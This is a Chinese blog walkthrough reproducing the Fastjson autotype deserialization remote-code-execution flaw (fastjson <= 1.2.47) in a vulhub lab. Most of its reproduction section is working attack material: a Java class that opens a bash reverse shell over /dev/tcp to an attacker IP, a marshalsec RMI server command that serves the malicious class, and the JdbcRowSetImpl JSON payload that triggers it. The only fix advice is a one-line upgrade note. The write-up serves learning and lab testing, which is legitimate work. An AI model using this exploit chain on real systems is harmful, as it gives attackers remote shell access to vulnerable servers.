Fastjson反序列化漏洞复现(CNVD‐2019‐22238)
一、漏洞描述
Fastjson 是一个开源JSON解析库。它提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会被远程执行任意代码。
二、影响范围
fastjson <= 1.2.47
三、环境准备
攻击机:192.168.208.131(windows)
目标机:192.168.208.129(Linux)
服务器:192.168.208.129(Linux)
由于资源有限,目标机和服务器共用一台设备
四、漏洞复现
漏洞环境:kali vulhub靶场
启动靶场环境
1、编写反弹shell的java文件Exploit.java,并使用“javac Exploit.java”命令编译为Exploit.class。将该class文件上传到服务器。
import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.208.131/666;cat <&5 | while read line; do $line 2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }
2、服务器使用python命令“python3 -m http.server”开启http服务,使其目录下文件可以访问到。
3、使用marshalsec启动一个RMI服务器,监听一个自定义端口,这里监听9999,并制定加载远程类Exploit.class:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.208.129:8000/#Exploit" 9999
4、攻击机开启监听666端口。
5、访问靶场环境并抓包,将GET改为POST,插入payload。
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.208.129:9999/Exploit", "autoCommit":true } }
放包后即可看到已成功反弹shell。
五、修复建议
升级到最新版本。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek “源神”启动!「GitHub 热点速览」
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)
· DeepSeek R1 简明指南:架构、训练、本地部署及硬件要求
· NetPad:一个.NET开源、跨平台的C#编辑器